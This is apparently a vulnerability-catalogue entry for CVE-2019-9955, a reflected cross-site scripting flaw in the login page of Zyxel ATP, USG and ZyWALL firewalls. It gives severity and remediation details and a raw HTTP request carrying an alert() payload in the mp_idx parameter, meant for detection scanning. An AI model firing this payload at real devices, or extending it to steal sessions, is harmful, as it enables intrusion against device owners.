| Title | Zyxel - Cross-Site Scripting |
|---|---|
| Author | pdteam |
| Severity | Medium |
| Impact | Attackers can execute scripts in the victim's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the user. |
| Remediation | Apply the latest firmware updates provided by Zyxel to fix the reflected cross-site scripting vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.11615 |
| CVE ID | CVE-2019-9955 |
| CWE ID | CWE-79 |
| Tags | cve cve2019 zyxel packetstorm seclists edb xss vuln |
Zyxel ATP200, ATP500, ATP800, USG20-VPN, USG20W-VPN, USG40, USG40W, USG60, USG60W, USG110, USG210, USG310, USG1100, USG1900, USG2200-VPN, ZyWALL 110, ZyWALL 310, and ZyWALL 1100 devices contain a reflected cross-site scripting vulnerability on the security firewall login page via the mp_idx parameter.
GET /?mp_idx=%22;alert(%271%27);// HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/14.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-9955.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-9955.pcap
N/AN/A